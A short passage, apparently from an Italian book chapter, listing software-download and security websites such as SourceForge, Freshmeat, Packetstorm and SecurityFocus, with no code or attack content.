SourceForge www.sourceforge.com 4. Freshmeat www.freshmeat.net 5. Packetstorm http://packetstorm.security.com 6. RPMFind www.rpmfind.net 7. LinuxLinks www.linuxlinks.com 8. Tucows www.tucows.com 9. Startplaza www.startplaza.nu 10. SecurityFocus www.securityfocus.com 11. AtStake www.atstake.com Capitolo: 12. http://searchnetworking.techtarget.it/ 41